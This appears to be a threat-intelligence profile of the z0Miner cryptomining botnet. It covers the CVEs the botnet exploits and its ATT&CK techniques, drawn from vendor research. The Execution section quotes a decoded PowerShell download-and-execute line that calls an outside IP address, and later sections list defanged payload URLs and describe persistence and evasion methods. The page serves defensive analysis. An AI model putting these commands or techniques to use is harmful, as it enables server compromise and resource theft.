z0Miner
- Type
- Cryptominer
- Capabilities
- Initial accessPersistenceDefense evasionReconnaissance
- Delivery
- Exploit kit
- Platforms
- WindowsLinux
z0Miner is a cryptomining malware family and botnet active since 2020 that compromises Windows and Linux servers to deploy XMRig and mine Monero using stolen computing resources. It primarily targets vulnerable internet-facing enterprise applications. Observed exploitation includes Oracle WebLogic vulnerabilities CVE-2020-14882 and CVE-2020-14883, Elasticsearch vulnerability CVE-2015-1427, Jenkins script-console remote command execution, and Atlassian Confluence vulnerabilities CVE-2021-26084 and CVE-2022-26134. It has also been deployed following Log4Shell exploitation against VMware Horizon.
Infection chains use PowerShell, batch, or Unix shell scripts to retrieve mining executables, configuration data, and additional payloads. Some campaigns deploy JSP webshells to retain access before installing mining components. z0Miner removes competing miners and their associated processes, files, and scheduled tasks. It establishes persistence through cron jobs on Linux and scheduled tasks or fraudulent services on Windows, with recurring tasks capable of retrieving and executing additional scripts. Evasion behaviors include hiding downloaded files and disguising services and tasks as legitimate Windows components. Its scripts also perform host, account, group, and network discovery.
z0Miner is associated primarily with financially motivated server-compromise campaigns and has also been observed among tools used by Nokoyawa ransomware operators. These observations do not establish a single operator responsible for all z0Miner activity.
Associated vulnerabilities
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
30 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Just days later, a proof of concept (POC) code demonstrating how to exploit this CVE was published to GitHub. As expected, threat actors rapidly began exploiting publicly facing Confluence servers.
Execution
8 techniques
Execution
Establishing persistence by adding a crontab/scheduled task based on the operating system.
As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks
On Windows systems... the script establishes persistence by adding a ... scheduled task
Attacker determines the target operating system and downloads Linux Shell/Windows Powershell dropper scripts from a remote C&C server... Executing downloaded dropper scripts.
powershell -enc ... decoded into the following code which downloads the sys.ps1 file: IEX (New-Object System.Net.Webclient).DownloadString('hxxp://27.1.1.34:8080/docs/s/sys.ps1')
IronNet observed what appeared to be a number of different botnets, in some cases pushing the same shell script but always ultimately leading to a XMRig coinminer.
z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation. Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins
MITRE ATT&CK Tactics and Techniques The following are the MITRE ATT&CK tactics and techniques associated with CVE-2021-26084 bundled with z0Miner: Tactic Technique Execution T1569.002: System Services: Service Execution
Persistence
6 techniques
Persistence
Establishing persistence by adding a crontab/scheduled task based on the operating system.
As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks
On Windows systems... the script establishes persistence by adding a ... scheduled task
MITRE ATT&CK Tactics and Techniques ... Defense Evasion T1112: Modify Registry
Once the Confluence vulnerability is successfully exploited, z0Miner deploys web shells that will download the following malicious files
The malware has been known to use several persistence and defense evasion mechanisms, one of which is the installation of the file vmicvguestvs.dll that z0Miner disguises as a legitimate integration service called “Hyper-V Guest Integration”.
Privilege Escalation
4 techniques
Privilege Escalation
Establishing persistence by adding a crontab/scheduled task based on the operating system.
As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks
On Windows systems... the script establishes persistence by adding a ... scheduled task
The malware has been known to use several persistence and defense evasion mechanisms, one of which is the installation of the file vmicvguestvs.dll that z0Miner disguises as a legitimate integration service called “Hyper-V Guest Integration”.
Stealth
5 techniques
Stealth
The files are written to temporary locations, masked as legitimate services/executables.
One of the downloaded scripts will also create a scheduled task called .NET Framework NGEN v4.0.30319 32 that poses as a .NET Framework NGEN task
Execution of post-exploitation scripts... post-exploitation linked clean up scripts that remove all traces of the dropper script mentioned above
It also downloads another script named clean.bat to find and delete any cryptocurrency mining payloads from other competitors
From the sample above we see the attacker is attempting to determine the vulnerable server operating system by calling java.lang.System.getProperty("os.name")
Defense Impairment
2 techniques
Defense Impairment
MITRE ATT&CK Tactics and Techniques ... Defense Evasion T1112: Modify Registry
MITRE ATT&CK Tactics and Techniques ... Defense Evasion T1562.001: Impair Defenses: Disable or Modify Tools
Discovery
10 techniques
Discovery
MITRE ATT&CK Tactics and Techniques ... Discovery T1033: System Owner/User Discovery
MITRE ATT&CK Tactics and Techniques ... Discovery T1049: System Network Connections Discovery
MITRE ATT&CK Tactics and Techniques ... T1069.001: Permission Groups Discovery: Local Groups
MITRE ATT&CK Tactics and Techniques ... T1069.002: Permission Groups Discovery: Domain Groups
MITRE ATT&CK Tactics and Techniques ... T1082: System Information Discovery
MITRE ATT&CK Tactics and Techniques ... T1087: Account Discovery
MITRE ATT&CK Tactics and Techniques ... T1087.001: Account Discovery: Local Account
MITRE ATT&CK Tactics and Techniques ... T1087.002: Account Discovery: Domain Account
MITRE ATT&CK Tactics and Techniques ... T1124: System Time Discovery
From the sample above we see the attacker is attempting to determine the vulnerable server operating system by calling java.lang.System.getProperty("os.name")
Command and Control
1 technique
Command and Control
conf.txt will download the mining kit from the following 3 URLs and start mining. hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file hxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner hxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file
Impact
2 techniques
Impact
MITRE ATT&CK Tactics and Techniques ... Defense Evasion T1489: Service Stop
various mining botnet have kicked into high gear... z0Miner is a malicious mining family... conf.txt will download the mining kit... and start mining
Observables
63 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.